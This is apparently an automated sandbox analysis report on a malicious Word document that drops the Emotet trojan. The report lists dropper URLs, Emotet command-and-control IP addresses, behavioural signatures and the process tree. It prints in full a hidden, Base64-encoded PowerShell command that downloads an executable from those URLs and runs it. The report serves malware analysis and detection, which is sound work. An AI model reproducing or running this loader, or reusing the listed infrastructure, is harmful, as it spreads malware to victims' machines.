Analysis

  • max time kernel
    25s
  • resource
    win10v191014
  • submitted
    28-01-2020 11:09

General

  • Target

    e9e238381a9c7d5badf26a88ec716432f8b640c3935a658d2ee741116cac36e8.doc

  • Sample

    200128-arrlmq1qan

  • SHA256

    e9e238381a9c7d5badf26a88ec716432f8b640c3935a658d2ee741116cac36e8

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://healthbrate.com/wordpress/k3/

exe.dropper

https://plussizeforall.com/22s/H6e/

exe.dropper

https://swimsuitforwomens.com/wp-admin/xfa92/

exe.dropper

https://plussizeall.net/wp-admin/nn9x71f/

exe.dropper

https://makeupandbeautyguides.com/wp-admin/sva8/

Extracted

Family

emotet

C2

207.177.72.129:8080

23.243.215.4:8080

218.255.173.106:80

136.243.205.112:7080

23.92.16.164:8080

45.55.65.123:8080

217.160.19.232:8080

64.66.6.71:8080

66.34.201.20:7080

85.152.174.56:80

202.175.121.202:8090

87.106.139.101:8080

176.9.43.37:8080

98.156.206.153:80

159.65.25.128:8080

70.184.9.39:8080

209.146.22.34:443

95.213.236.64:8080

98.30.113.161:80

59.103.164.174:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e9e238381a9c7d5badf26a88ec716432f8b640c3935a658d2ee741116cac36e8.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Enumerates system info in registry
    PID:4884
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABNAHcAdwB4AHoAegBlAGoAZgB1AG4AdAA9ACcAWABwAHoAYQBuAHkAagB0AHkAYwBhAGYAJwA7ACQATQBvAGMAdgBoAGIAZABsACAAPQAgACcAMQA2ADcAJwA7ACQAVQBwAHQAawBtAGQAegB3AHMAeAByAD0AJwBUAHMAcQB0AHgAagB4AHMAYwBkAHkAJwA7ACQAVABmAGMAaQBxAHYAdABwAHcAcQBxAHkAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATQBvAGMAdgBoAGIAZABsACsAJwAuAGUAeABlACcAOwAkAFQAeAB1AHcAdAB1AGUAdgBrAGYAPQAnAEUAbwB5AHMAZwBjAHYAbQB1ACcAOwAkAFAAaABkAGUAaABkAGsAdAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgBXAGUAYgBDAEwASQBFAG4AdAA7ACQARgBiAG8AdAB2AHoAaQB0AD0AJwBoAHQAdABwADoALwAvAGgAZQBhAGwAdABoAGIAcgBhAHQAZQAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALwBrADMALwAqAGgAdAB0AHAAcwA6AC8ALwBwAGwAdQBzAHMAaQB6AGUAZgBvAHIAYQBsAGwALgBjAG8AbQAvADIAMgBzAC8ASAA2AGUALwAqAGgAdAB0AHAAcwA6AC8ALwBzAHcAaQBtAHMAdQBpAHQAZgBvAHIAdwBvAG0AZQBuAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAHgAZgBhADkAMgAvACoAaAB0AHQAcABzADoALwAvAHAAbAB1AHMAcwBpAHoAZQBhAGwAbAAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AbgBuADkAeAA3ADEAZgAvACoAaAB0AHQAcABzADoALwAvAG0AYQBrAGUAdQBwAGEAbgBkAGIAZQBhAHUAdAB5AGcAdQBpAGQAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBzAHYAYQA4AC8AJwAuACIAUwBQAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABMAGgAaAB1AGMAdgByAGwAdQA9ACcASgBiAGMAdgBlAHcAaAB0ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAGQAcABoAHIAbABnAG4AdQBnAHYAIABpAG4AIAAkAEYAYgBvAHQAdgB6AGkAdAApAHsAdAByAHkAewAkAFAAaABkAGUAaABkAGsAdAAuACIARABPAHcATgBgAEwAYABPAEEAZABGAEkATABFACIAKAAkAFgAZABwAGgAcgBsAGcAbgB1AGcAdgAsACAAJABUAGYAYwBpAHEAdgB0AHAAdwBxAHEAeQB5ACkAOwAkAFcAbABzAHUAeQB6AHYAYgBkAGYAPQAnAFIAaQBvAGwAYQBiAHoAcwB0AHoAcQBlACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVABmAGMAaQBxAHYAdABwAHcAcQBxAHkAeQApAC4AIgBMAEUAYABOAEcAVABoACIAIAAtAGcAZQAgADIANAAwADAANQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAHQAQQBgAFIAdAAiACgAJABUAGYAYwBpAHEAdgB0AHAAdwBxAHEAeQB5ACkAOwAkAEwAeQB5AGYAYgBxAHQAcAB3AHAAegA9ACcAVgBrAHIAbQBqAHAAagB0AGcAcwB3AGYAdAAnADsAYgByAGUAYQBrADsAJABYAHYAbwBwAGIAagBrAGQAZQBhAHAAZAA9ACcAUwB3AGIAeABkAHcAaQBoAGQAdgBwAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBjAGEAaQBhAGEAcgBhAGEAPQAnAE0AbABoAG0AbAB0AGwAbQAnAA==
    1⤵
    • Suspicious use of WriteProcessMemory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:4408
    • C:\Users\Admin\167.exe
      "C:\Users\Admin\167.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:4576
      • C:\Users\Admin\167.exe
        --4f121e90
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        PID:4664

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/4576-10-0x0000000002440000-0x0000000002455000-memory.dmp

    Filesize

    84KB

  • memory/4664-12-0x00000000006A0000-0x00000000006B5000-memory.dmp

    Filesize

    84KB

  • memory/4664-13-0x0000000000400000-0x000000000049F000-memory.dmp

    Filesize

    636KB